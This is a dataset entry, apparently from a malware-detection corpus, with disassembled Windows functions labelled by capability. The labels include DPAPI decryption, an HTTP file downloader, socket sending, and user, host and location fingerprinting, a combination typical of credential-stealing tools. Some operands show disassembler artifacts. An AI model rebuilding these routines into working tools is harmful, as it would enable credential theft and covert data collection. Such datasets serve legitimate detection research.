joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140074090
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rcx
mov qword [rbp - 0x11], rcx
xor esi, esi
mov dword [rbp - 0x15], esi
mov qword [rbp + 0xf], rdx
mov dword [rbp + 7], r8d
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 7]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400741bc
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], sil
mov ebx, dword [rbp - 9]
test rbx, rbx
jne 0x140074127
mov qword [rbp + 0x27], rbx
mov byte [rbp + rbx + 0x17], bl
jmp 0x14007415b
lea rcx, [rbp + 0x17]
cmp rbx, 0xf
ja 0x140074146
mov qword [rbp + 0x27], rbx
mov r8, rbx
xor edx, edx
call fcn.1400b7530
mov byte [rbp + rbx + 0x17], 0
jmp 0x14007415b
mov byte [rsp + 0x20], 0
mov r9, rbx
movzx r8d, byte [rbp - 0x19]
mov rdx, rbx
call fcn.1400476b0
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0x10
cmovae rcx, qword [rbp + 0x17]
mov r8d, dword [rbp - 9]
mov rdx, qword [rbp - 1]
call fcn.1400b6e80
mov rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], 0
mov byte [rdi + 0x20], 1
mov dword [rbp - 0x15], 1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], 0
jmp 0x1400741c7
mov byte [rdi + 0x20], sil
mov dword [rbp - 0x15], 1
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400744b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.1400b59a0
sub rsp, rax
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 1]
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1400745cb
cmp qword [rdi + 0x18], 0x10
jb 0x140074535
mov rdi, qword [rdi]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x1400745c2
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400745b9
nop dword [rax]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1400745b9
mov r9d, eax
lea r8, [rsp + 0x50]
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.140075000
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140074580
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rbx
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400830d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x1400831e5
mov rdx, qword [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x140083143
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rcx, [rsp + 0x28]
call fcn.140036990
mov ebx, 5
mov dword [rsp + 0x20], ebx
and ebx, 0xfffffffb
mov dword [rsp + 0x20], ebx
or ebx, 2
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.1400417b0
and ebx, 0xfffffffd
mov dword [rsp + 0x20], ebx
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x1400831d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400831cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140083212
call fcn.1400b4b80
movdqa xmm0, xmmword [0x1400eb4c0]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], si
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400b4b60
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140098678
int3
Function at 0x140085840
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
test rdx, rdx
je 0x1400858b4
mov qword [rsp + 0x30], rbp
mov ebp, 0x7fffffff
nop word [rax + rax]
mov rcx, qword [0x140104ec0]
lea rdx, [rbx + rsi]
mov r8d, edi
cmp rdi, rbp
cmova r8d, ebp
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14008589c
cdqe
add rbx, rax
sub rdi, rax
jne 0x140085870
mov rbp, qword [rsp + 0x30]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14008a3a0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rbx, rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
lea ecx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov esi, eax
mov word [rsp + 0x20], bp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 4]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
movsxd rdi, eax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], send
mov byte [rbx], bpl
mov dword [rsp + 0x30], 1
mov rdx, rdi
xor r8d, r8d
mov rcx, rbx
call fcn.1400418d0
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14008a41e
mov r8, qword [rbx]
mov word [rsp + 0x20], bp
mov r9d, edi
mov edx, 4
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
lea eax, [rdi - 1]
movsxd rdx, eax
xor r8d, r8d
mov rcx, rbx
call fcn.1400418d0
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14008ad80
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x10050
call fcn.1400b59a0
sub rsp, rax
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x30], 0x7fff
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x14008adde
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140073de0
jmp 0x14008adf3
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], dil
mov dword [rsp + 0x20], 1
mov rax, rbx
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0x10068]
add rsp, 0x10050
pop rdi
ret

Function at 0x14008ae20
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x10050
call fcn.1400b59a0
sub rsp, rax
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x30], 0x7fff
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x14008ae7e
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140073de0
jmp 0x14008ae93
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], dil
mov dword [rsp + 0x20], 1
mov rax, rbx
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0x10068]
add rsp, 0x10050
pop rdi
ret
Function at 0x14008b140
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x50], 0x104
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9d, [rdi + 2]
lea r8, str.ProductName
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
test eax, eax
je 0x14008b1c8
mov qword [rbx + 0x18], send
mov byte [rbx], dil
jmp 0x14008b1e2
mov r8d, dword [rsp + 0x50]
dec r8d
mov qword [rbx + 0x18], rdi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140031d20
nop
mov dword [rsp + 0x40], 1
mov rax, rbx
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret

Function at 0x14008b7e0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rdi
sub rsp, 0x498
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rbx, r9
mov rax, r8
mov r10, rdx
mov rdi, rcx
mov qword [rsp + 0x58], rcx
xor ecx, ecx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x60], 0x400
mov dword [rsp + 0x70], 0xf003f
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], send
mov byte [rdi], cl
mov dword [rsp + 0x30], 1
cmp qword [r8 + 0x18], 0x10
jb 0x14008b84e
mov rax, qword [r8]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rax
mov rcx, r10
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14008b93a
cmp qword [rbx + 0x18], 0x10
jb 0x14008b87f
mov rbx, qword [rbx]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14008b93a
mov r8d, dword [rsp + 0x60]
dec r8d
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x38]
call fcn.140031d20
nop
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400419f0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14008b927
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008b922
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008b967
call fcn.1400b4b80
movdqa xmm0, xmmword [0x1400eb4d0]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14008b94a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400b4b60
add rsp, 0x498
pop rdi
pop rbx
ret
call fcn.140098678
int3
Function at 0x14008b970
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x490
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rbx, r9
mov rax, r8
mov rdi, rcx
mov qword [rsp + 0x58], rcx
xor ecx, ecx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x60], 0x400
mov dword [rsp + 0x70], 0xf003f
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], send
mov byte [rdi], cl
mov dword [rsp + 0x30], 1
cmp qword [r8 + 0x18], 0x10
jb 0x14008b9de
mov rax, qword [r8]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14008bacb
cmp qword [rbx + 0x18], 0x10
jb 0x14008ba13
mov rbx, qword [rbx]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14008bacb
mov r8d, dword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x38]
call fcn.140031d20
nop
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400419f0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14008bab8
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008bab3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008baff
call fcn.1400b4b80
movdqa xmm0, xmmword [0x1400eb4d0]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14008badb
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400b4b60
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x490
pop rdi
ret
call fcn.140098678
int3
Function at 0x14008e7b0
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov qword [rbp - 0x31], rcx
xor ebx, ebx
mov dword [rbp - 0x21], ebx
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14010c508], eax
jle 0x14008e835
lea rcx, [0x14010c508]
call fcn.1400b4d10
cmp dword [0x14010c508], 0xffffffff
jne 0x14008e835
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x14010c510], eax
lea rcx, [0x14010c508]
call fcn.1400b4cb0
lea rdi, [rbp - 9]
xor eax, eax
mov ecx, 0x42
rep stosb byte [rdi], al
lea r8, [rbp - 9]
xor edx, edx
lea rcx, [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x14008e952
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp - 0x31]
lea edx, [rax + 1]
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x14008e949
mov dword [rbp - 0x19], ebx
mov dword [rbp - 0x39], ebx
mov dword [rbp - 0x1d], ebx
lea rdi, [rbp - 0x29]
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp - 0x1d]
lea rdx, [rbp - 0x39]
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x14008e996
mov eax, dword [rbp - 0x39]
test eax, eax
je 0x14008e996
mov ecx, eax
mov eax, 0x29c
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400a03f0
mov rsi, rax
mov ecx, dword [rbp - 0x21]
test rax, rax
je 0x14008e999
mov eax, dword [rbp - 0x39]
mov dword [rbp - 0x1d], eax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rbp - 0x1d]
lea rdx, [rbp - 0x39]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x14008e98e
cmp dword [rbp - 0x39], eax
je 0x14008e98e
mov edx, ebx
mov r8d, dword [rbp - 0x1d]
test r8d, r8d
je 0x14008e949
mov r9d, dword [0x14010c510]
mov eax, edx
imul rcx, rax, 0x29c
mov edi, dword [rcx + rsi]
cmp edi, r9d
jne 0x14008e979
inc edx
cmp edx, r8d
jb 0x14008e931
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov eax, ebx
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400b4b60
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rcx, rsi
call fcn.140097a60
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ebx, edi
jmp 0x14008e952
mov rcx, rsi
call fcn.140097a60
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
xor eax, eax
jmp 0x14008e954
Function at 0x14008ef20
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov r14, rax
mov ecx, ebp
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi], rbp
mov qword [rdi + 8], rbp
mov qword [rdi + 0x10], rbp
mov dword [rsp + 0x20], 1
mov esi, ebp
mov rbx, rax
nop dword [rax]
cmp word [rbx], 0
jne 0x14008f05a
movsxd rax, esi
lea r8, [r14 + rax*2]
movsxd rax, ecx
lea rdx, [r14 + rax*2]
lea rcx, [rsp + 0x28]
call fcn.140091600
nop
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x14008efcf
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], rbp
mov qword [rdx + 0x18], rbp
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], 7
mov word [rax], bp
add qword [rdi + 8], 0x20
jmp 0x14008efdb
mov r8, rax
mov rcx, rdi
call fcn.140093d00
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x14008f019
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008f014
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008f065
call fcn.1400b4b80
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], bp
mov ecx, esi
add rbx, 2
cmp word [rbx], 0
jne 0x14008f05e
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rdi
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
add rbx, 2
inc esi
jmp 0x14008ef70
call fcn.140098678
int3
Function at 0x14009f3dc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14009f44b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009f44b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009f44b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009f44b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009f44b
cmp dword [rcx + 0x84], 0xe
jbe 0x14009f44b
cmp dword [rcx + 0xf8], 0
je 0x14009f44b
mov ecx, ebx
call fcn.14009f508
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14009f2d8
nop
cmp dword [rbp + 0x20], 0
je 0x14009f499
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14009f4a4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14009f3dc

Function at 0x14009f5ec
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14009f44b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009f44b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009f44b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009f44b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009f44b
cmp dword [rcx + 0x84], 0xe
jbe 0x14009f44b
cmp dword [rcx + 0xf8], 0
je 0x14009f44b
mov ecx, ebx
call fcn.14009f508
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14009f2d8
nop
cmp dword [rbp + 0x20], 0
je 0x14009f499
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14009f4a4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14009f3dc
Function at 0x1400a429c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x1400a42ce
call fcn.14009cb1c
mov dword [rax], socket
call fcn.140098658
jmp 0x1400a43ed
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400a43ed
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400a43ed
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400a42fd
lock or dword [rcx + 0x14], 0x10
jmp 0x1400a43ed
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400a4311
call fcn.1400a581c
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.1400a0450
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.1400a5d34
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1400a43db
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x1400a43a6
mov rcx, rsi
call fcn.1400a0450
cmp eax, edi
je 0x1400a4391
mov rcx, rsi
call fcn.1400a0450
cmp eax, 0xfffffffe
je 0x1400a4391
mov rcx, rsi
call fcn.1400a0450
movsxd rbx, eax
lea r14, [0x140109f90]
mov rcx, rsi
sar rbx, 6
call fcn.1400a0450
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1400a4398
lea rdx, [0x140104340]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400a43a6
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x1400a43ca
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x1400a43ca
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x1400a43ca
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x1400a43f0
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
